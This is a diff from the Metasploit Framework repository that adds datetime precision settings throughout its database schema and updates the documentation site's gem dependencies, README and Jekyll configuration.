t.index ["workspace_id"], name: "index_automatic_exploitation_runs_on_workspace_id"
@@ -77,11 +76,11 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "clients", id: :serial, force: :cascade do |t|
t.integer "host_id"
t.datetime "created_at"
t.datetime "created_at", precision: nil
t.string "ua_string", limit: 1024, null: false
t.string "ua_name", limit: 64
t.string "ua_ver", limit: 32
t.datetime "updated_at"
t.datetime "updated_at", precision: nil
end
create_table "credential_cores_tasks", id: false, force: :cascade do |t|
@@ -96,8 +95,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "creds", id: :serial, force: :cascade do |t|
t.integer "service_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.string "user", limit: 2048
t.string "pass", limit: 4096
t.boolean "active", default: true
@@ -110,9 +109,9 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "events", id: :serial, force: :cascade do |t|
t.integer "workspace_id"
t.integer "host_id"
t.datetime "created_at"
t.datetime "created_at", precision: nil
t.string "name"
t.datetime "updated_at"
t.datetime "updated_at", precision: nil
t.boolean "critical"
t.boolean "seen"
t.string "username"
@@ -123,7 +122,7 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.integer "host_id"
t.integer "service_id"
t.integer "vuln_id"
t.datetime "attempted_at"
t.datetime "attempted_at", precision: nil
t.boolean "exploited"
t.string "fail_reason"
t.string "username"
@@ -141,8 +140,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.string "session_uuid", limit: 8
t.string "name", limit: 2048
t.string "payload", limit: 2048
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
end
create_table "host_details", id: :serial, force: :cascade do |t|
@@ -157,7 +156,7 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
end
create_table "hosts", id: :serial, force: :cascade do |t|
t.datetime "created_at"
t.datetime "created_at", precision: nil
t.inet "address", null: false
t.string "mac"
t.string "comm"
@@ -169,7 +168,7 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.string "os_lang"
t.string "arch"
t.integer "workspace_id", null: false
t.datetime "updated_at"
t.datetime "updated_at", precision: nil
t.text "purpose"
t.string "info", limit: 65536
t.text "comments"
@@ -197,8 +196,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
end
create_table "listeners", id: :serial, force: :cascade do |t|
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.integer "workspace_id", default: 1, null: false
t.integer "task_id"
t.boolean "enabled", default: true
@@ -217,8 +216,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.string "ltype", limit: 512
t.string "path", limit: 1024
t.text "data"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.string "content_type"
t.text "name"
t.text "info"
@@ -227,8 +226,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
end
create_table "macros", id: :serial, force: :cascade do |t|
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.text "owner"
t.text "name"
t.text "description"
@@ -243,8 +242,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.integer "public_id"
t.integer "realm_id"
t.integer "workspace_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.integer "logins_count", default: 0
t.index ["origin_type", "origin_id"], name: "index_metasploit_credential_cores_on_origin_type_and_origin_id"
t.index ["private_id"], name: "index_metasploit_credential_cores_on_private_id"
@@ -264,65 +263,66 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.integer "service_id", null: false
t.string "access_level"
t.string "status", null: false
t.datetime "last_attempted_at"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "last_attempted_at", precision: nil
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.index ["core_id", "service_id"], name: "index_metasploit_credential_logins_on_core_id_and_service_id", unique: true
t.index ["service_id", "core_id"], name: "index_metasploit_credential_logins_on_service_id_and_core_id", unique: true
end
create_table "metasploit_credential_origin_cracked_passwords", id: :serial, force: :cascade do |t|
t.integer "metasploit_credential_core_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.index ["metasploit_credential_core_id"], name: "originating_credential_cores"
end
create_table "metasploit_credential_origin_imports", id: :serial, force: :cascade do |t|
t.text "filename", null: false
t.integer "task_id"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.index ["task_id"], name: "index_metasploit_credential_origin_imports_on_task_id"
end
create_table "metasploit_credential_origin_manuals", id: :serial, force: :cascade do |t|
t.integer "user_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.index ["user_id"], name: "index_metasploit_credential_origin_manuals_on_user_id"
end
create_table "metasploit_credential_origin_services", id: :serial, force: :cascade do |t|
t.integer "service_id", null: false
t.text "module_full_name", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.index ["service_id", "module_full_name"], name: "unique_metasploit_credential_origin_services", unique: true
end
create_table "metasploit_credential_origin_sessions", id: :serial, force: :cascade do |t|
t.text "post_reference_name", null: false
t.integer "session_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.index ["session_id", "post_reference_name"], name: "unique_metasploit_credential_origin_sessions", unique: true
end
create_table "metasploit_credential_privates", id: :serial, force: :cascade do |t|
t.string "type", null: false
t.text "data", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.string "jtr_format"
t.index "type, decode(md5(data), 'hex'::text)", name: "index_metasploit_credential_privates_on_type_and_data_pkcs12", unique: true, where: "((type)::text = 'Metasploit::Credential::Pkcs12'::text)"
t.index "type, decode(md5(data), 'hex'::text)", name: "index_metasploit_credential_privates_on_type_and_data_sshkey", unique: true, where: "((type)::text = 'Metasploit::Credential::SSHKey'::text)"
t.index ["type", "data"], name: "index_metasploit_credential_privates_on_type_and_data", unique: true, where: "(NOT ((type)::text = 'Metasploit::Credential::SSHKey'::text))"
t.index ["type", "data"], name: "index_metasploit_credential_privates_on_type_and_data", unique: true, where: "(NOT (((type)::text = 'Metasploit::Credential::SSHKey'::text) OR ((type)::text = 'Metasploit::Credential::Pkcs12'::text)))"
end
create_table "metasploit_credential_publics", id: :serial, force: :cascade do |t|
t.string "username", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.string "type", null: false
t.index ["username"], name: "index_metasploit_credential_publics_on_username", unique: true
end
@@ -330,8 +330,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "metasploit_credential_realms", id: :serial, force: :cascade do |t|
t.string "key", null: false
t.string "value", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.index ["key", "value"], name: "index_metasploit_credential_realms_on_key_and_value", unique: true
end
@@ -361,7 +361,7 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
end
create_table "module_details", id: :serial, force: :cascade do |t|
t.datetime "mtime"
t.datetime "mtime", precision: nil
t.text "file"
t.string "mtype"
t.text "refname"
@@ -371,7 +371,7 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.text "description"
t.string "license"
t.boolean "privileged"
t.datetime "disclosure_date"
t.datetime "disclosure_date", precision: nil
t.integer "default_target"
t.text "default_action"
t.string "stance"
@@ -402,7 +402,7 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
end
create_table "module_runs", id: :serial, force: :cascade do |t|
t.datetime "attempted_at"
t.datetime "attempted_at", precision: nil
t.text "fail_detail"
t.string "fail_reason"
t.text "module_fullname"
@@ -414,8 +414,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.string "trackable_type"
t.integer "user_id"
t.string "username"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.index ["session_id"], name: "index_module_runs_on_session_id"
t.index ["user_id"], name: "index_module_runs_on_user_id"
end
@@ -428,8 +428,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
end
create_table "nexpose_consoles", id: :serial, force: :cascade do |t|
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.boolean "enabled", default: true
t.text "owner"
t.text "address"
@@ -444,12 +444,12 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
end
create_table "notes", id: :serial, force: :cascade do |t|
t.datetime "created_at"
t.datetime "created_at", precision: nil
t.string "ntype", limit: 512
t.integer "workspace_id", default: 1, null: false
t.integer "service_id"
t.integer "host_id"
t.datetime "updated_at"
t.datetime "updated_at", precision: nil
t.boolean "critical"
t.boolean "seen"
t.text "data"
@@ -471,13 +471,13 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.string "raw_payload_hash"
t.string "build_status"
t.string "build_opts"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
end
create_table "profiles", id: :serial, force: :cascade do |t|
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.boolean "active", default: true
t.text "name"
t.text "owner"
@@ -486,9 +486,9 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "refs", id: :serial, force: :cascade do |t|
t.integer "ref_id"
t.datetime "created_at"
t.datetime "created_at", precision: nil
t.string "name", limit: 512
t.datetime "updated_at"
t.datetime "updated_at", precision: nil
t.index ["name"], name: "index_refs_on_name"
end
@@ -497,8 +497,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.string "created_by"
t.string "path", limit: 1024
t.text "name"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
end
create_table "reports", id: :serial, force: :cascade do |t|
@@ -507,9 +507,9 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.string "rtype"
t.string "path", limit: 1024
t.text "options"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "downloaded_at"
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.datetime "downloaded_at", precision: nil
t.integer "task_id"
t.string "name", limit: 63
end
@@ -522,12 +522,12 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "services", id: :serial, force: :cascade do |t|
t.integer "host_id"
t.datetime "created_at"
t.datetime "created_at", precision: nil
t.integer "port", null: false
t.string "proto", limit: 16, null: false
t.string "state"
t.string "name"
t.datetime "updated_at"
t.datetime "updated_at", precision: nil
t.text "info"
t.index ["host_id", "port", "proto"], name: "index_services_on_host_id_and_port_and_proto", unique: true
t.index ["name"], name: "index_services_on_name"
@@ -543,7 +543,7 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.binary "output"
t.string "remote_path"
t.string "local_path"
t.datetime "created_at"
t.datetime "created_at", precision: nil
end
create_table "sessions", id: :serial, force: :cascade do |t|
@@ -555,11 +555,11 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.integer "port"
t.string "platform"
t.text "datastore"
t.datetime "opened_at", null: false
t.datetime "closed_at"
t.datetime "opened_at", precision: nil, null: false
t.datetime "closed_at", precision: nil
t.string "close_reason"
t.integer "local_id"
t.datetime "last_seen"
t.datetime "last_seen", precision: nil
t.integer "module_run_id"
t.index ["module_run_id"], name: "index_sessions_on_module_run_id"
end
@@ -571,51 +571,51 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.boolean "report_summary", default: false, null: false
t.boolean "report_detail", default: false, null: false
t.boolean "critical", default: false, null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
end
create_table "task_creds", id: :serial, force: :cascade do |t|
t.integer "task_id", null: false
t.integer "cred_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
end
create_table "task_hosts", id: :serial, force: :cascade do |t|
t.integer "task_id", null: false
t.integer "host_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
end
create_table "task_services", id: :serial, force: :cascade do |t|
t.integer "task_id", null: false
t.integer "service_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
end
create_table "task_sessions", id: :serial, force: :cascade do |t|
t.integer "task_id", null: false
t.integer "session_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
end
create_table "tasks", id: :serial, force: :cascade do |t|
t.integer "workspace_id", default: 1, null: false
t.string "created_by"
t.string "module"
t.datetime "completed_at"
t.datetime "completed_at", precision: nil
t.string "path", limit: 1024
t.string "info"
t.string "description"
t.integer "progress"
t.text "options"
t.text "error"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.text "result"
t.string "module_uuid", limit: 8
t.binary "settings"
@@ -626,8 +626,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.string "crypted_password"
t.string "password_salt"
t.string "persistence_token"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.string "fullname"
t.string "email"
t.string "phone"
@@ -638,7 +638,7 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "vuln_attempts", id: :serial, force: :cascade do |t|
t.integer "vuln_id"
t.datetime "attempted_at"
t.datetime "attempted_at", precision: nil
t.boolean "exploited"
t.string "fail_reason"
t.string "username"
@@ -661,26 +661,26 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.string "nx_vuln_id"
t.float "nx_severity"
t.float "nx_pci_severity"
t.datetime "nx_published"
t.datetime "nx_added"
t.datetime "nx_modified"
t.datetime "nx_published", precision: nil
t.datetime "nx_added", precision: nil
t.datetime "nx_modified", precision: nil
t.text "nx_tags"
t.text "nx_vuln_status"
t.text "nx_proof_key"
t.string "src"
t.integer "nx_scan_id"
t.datetime "nx_vulnerable_since"
t.datetime "nx_vulnerable_since", precision: nil
t.string "nx_pci_compliance_status"
end
create_table "vulns", id: :serial, force: :cascade do |t|
t.integer "host_id"
t.integer "service_id"
t.datetime "created_at"
t.datetime "created_at", precision: nil
t.string "name"
t.datetime "updated_at"
t.datetime "updated_at", precision: nil
t.string "info", limit: 65536
t.datetime "exploited_at"
t.datetime "exploited_at", precision: nil
t.integer "vuln_detail_count", default: 0
t.integer "vuln_attempt_count", default: 0
t.integer "origin_id"
@@ -696,8 +696,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "web_forms", id: :serial, force: :cascade do |t|
t.integer "web_site_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.text "path"
t.string "method", limit: 1024
t.text "params"
@@ -707,15 +707,15 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "web_pages", id: :serial, force: :cascade do |t|
t.integer "web_site_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.text "path"
t.text "query"
t.integer "code", null: false
t.text "cookie"
t.text "auth"
t.text "ctype"
t.datetime "mtime"
t.datetime "mtime", precision: nil
t.text "location"
t.text "headers"
t.binary "body"
@@ -726,8 +726,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "web_sites", id: :serial, force: :cascade do |t|
t.integer "service_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.string "vhost", limit: 2048
t.text "comments"
t.text "options"
@@ -738,8 +738,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "web_vulns", id: :serial, force: :cascade do |t|
t.integer "web_site_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.text "path", null: false
t.string "method", limit: 1024, null: false
t.text "params"
@@ -773,8 +773,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.string "respcode", limit: 16
t.text "resphead"
t.text "response"
t.datetime "created_at"
t.datetime "updated_at"
t.datetime "created_at", precision: nil
t.datetime "updated_at", precision: nil
end
create_table "wmap_targets", id: :serial, force: :cascade do |t|
@@ -783,8 +783,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.integer "port"
t.integer "ssl"
t.integer "selected"
t.datetime "created_at"
t.datetime "updated_at"
t.datetime "created_at", precision: nil
t.datetime "updated_at", precision: nil
end
create_table "workspace_members", id: false, force: :cascade do |t|
@@ -794,8 +794,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "workspaces", id: :serial, force: :cascade do |t|
t.string "name"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.string "boundary", limit: 4096
t.string "description", limit: 4096
t.integer "owner_id"
+3
View File
@@ -1,3 +1,6 @@
# Folder Purpose
This folder contains files related to running Metasploit inside Docker.
# Metasploit in Docker
## Getting Started
+1 -1
View File
@@ -7,4 +7,4 @@ vendor
# These files will be generated by build.rb and do not need to be committed
docs
metasploit-framework.wiki.old
index.md
/index.md
+1 -1
View File
@@ -1 +1 @@
3.0.2
3.0.5
+4 -1
View File
@@ -1,8 +1,11 @@
source 'https://rubygems.org'
gem 'jekyll', '~> 4.2.0'
gem 'jekyll', '~> 4.3.0'
gem 'just-the-docs', github: 'rapid7/just-the-docs', branch: 'r7_ver_custom'
# Useful when testing local just-the-docs changes:
#gem 'just-the-docs', path: '../../just-the-docs'
gem 'webrick'
gem 'rexml'
group :jekyll_plugins do
gem 'jekyll-sitemap'
+23 -21
View File
@@ -1,6 +1,6 @@
GIT
remote: https://github.com/rapid7/just-the-docs.git
revision: 9c5e78f98185406e50ab04f523a86bd857e186cf
revision: 5c7ea378f6392ea19b52e8019ebaca8fc2331733
branch: r7_ver_custom
specs:
just-the-docs (0.3.3)
@@ -12,8 +12,8 @@ GIT
GEM
remote: https://rubygems.org/
specs:
addressable (2.8.0)
public_suffix (>= 2.0.2, < 5.0)
addressable (2.8.1)
public_suffix (>= 2.0.2, < 6.0)
byebug (11.1.3)
coderay (1.1.3)
colorator (1.1.0)
@@ -25,23 +25,24 @@ GEM
ffi (1.15.5)
forwardable-extended (2.6.0)
http_parser.rb (0.8.0)
i18n (1.10.0)
i18n (1.12.0)
concurrent-ruby (~> 1.0)
jekyll (4.2.2)
jekyll (4.3.1)
addressable (~> 2.4)
colorator (~> 1.0)
em-websocket (~> 0.5)
i18n (~> 1.0)
jekyll-sass-converter (~> 2.0)
jekyll-sass-converter (>= 2.0, < 4.0)
jekyll-watch (~> 2.0)
kramdown (~> 2.3)
kramdown (~> 2.3, >= 2.3.1)
kramdown-parser-gfm (~> 1.0)
liquid (~> 4.0)
mercenary (~> 0.4.0)
mercenary (>= 0.3.6, < 0.5)
pathutil (~> 0.9)
rouge (~> 3.0)
rouge (>= 3.0, < 5.0)
safe_yaml (~> 1.0)
terminal-table (~> 2.0)
terminal-table (>= 1.8, < 4.0)
webrick (~> 1.7)
jekyll-include-cache (0.2.1)
jekyll (>= 3.7, < 5.0)
jekyll-sass-converter (2.2.0)
@@ -52,7 +53,7 @@ GEM
jekyll (>= 3.7, < 5.0)
jekyll-watch (2.2.1)
listen (~> 3.0)
kramdown (2.3.2)
kramdown (2.4.0)
rexml
kramdown-parser-gfm (1.1.0)
kramdown (~> 2.0)
@@ -64,35 +65,36 @@ GEM
method_source (1.0.0)
pathutil (0.16.2)
forwardable-extended (~> 2.6)
pry (0.13.1)
pry (0.14.1)
coderay (~> 1.1)
method_source (~> 1.0)
pry-byebug (3.9.0)
pry-byebug (3.10.1)
byebug (~> 11.0)
pry (~> 0.13.0)
public_suffix (4.0.7)
pry (>= 0.13, < 0.15)
public_suffix (5.0.1)
rake (13.0.6)
rb-fsevent (0.11.1)
rb-fsevent (0.11.2)
rb-inotify (0.10.1)
ffi (~> 1.0)
rexml (3.2.5)
rouge (3.28.0)
rouge (4.0.0)
safe_yaml (1.0.5)
sassc (2.4.0)
ffi (~> 1.9)
terminal-table (2.0.0)
unicode-display_width (~> 1.1, >= 1.1.1)
unicode-display_width (1.8.0)
terminal-table (3.0.2)
unicode-display_width (>= 1.1.1, < 3)
unicode-display_width (2.3.0)
webrick (1.7.0)
PLATFORMS
ruby
DEPENDENCIES
jekyll (~> 4.2.0)
jekyll (~> 4.3.0)
jekyll-sitemap
just-the-docs!
pry-byebug
rexml
tzinfo (~> 1.2)
tzinfo-data
wdm (~> 0.1.1)
+13 -6
View File
@@ -13,6 +13,19 @@ How it works:
Behind the scenes these docs are built and deployed to https://docs.metasploit.com/
### Adding pages
You can modify existing documentation files within `metasploit-framework.wiki/` with an editor of your choice and send a pull request.
To add a new page, modify `navigation.rb`. Full details are found beside the `NAVIGATION_CONFIG` constant.
## Adding links
For linking to other docs the Github markdown syntax `[[link text|relative_path_to_docs]]` is used. Behind the scenes these
links will be verified at build time to ensure there's no 404 links.
Note: It is also possible to use the syntax `[[link text|relative_path_to_docs#section]]` - but this navigation will happen client side, and
there is no validation that these sections exist at build time. It is possible for future edits to a markdown file to break these links.
## Setup
### Developer build
@@ -42,9 +55,3 @@ bundle exec ruby build.rb --production --serve
```
Now visit http://127.0.0.1:4000/metasploit-framework/
### Contributing Documentation
You can modify existing documentation files within `metasploit-framework.wiki/` with an editor of your choice and send a pull request.
Note that adding a new page will also require modifying `navigation.rb` to appear on the navigation menu.
+4 -1
View File
@@ -30,6 +30,9 @@ exclude:
- README.md
# just-the-docs config
mermaid_enabled: true
mermaid:
version: "9.2.2"
heading_anchors: true
aux_links_new_tab: true
aux_links:
@@ -38,7 +41,7 @@ aux_links:
nav_cache: true
# False until the wiki's markdown files are migrated into the Metasploit repository
# We set gh_edit_link to false to opt out of the default edit link support - and instead use a custom implementation in _includes/footer_custom.html
gh_edit_link: false
gh_edit_link_text: 'Edit this page on GitHub'
gh_edit_repository: 'https://github.com/rapid7/metasploit-framework'
+3
View File
@@ -0,0 +1,3 @@
# Staging assumes that it is currently deployed to gh-pages; All links are prefixed with /metasploit-framework
baseurl: 'metasploit-framework'
ga_tracking: ''

Some files were not shown because too many files have changed in this diff Show More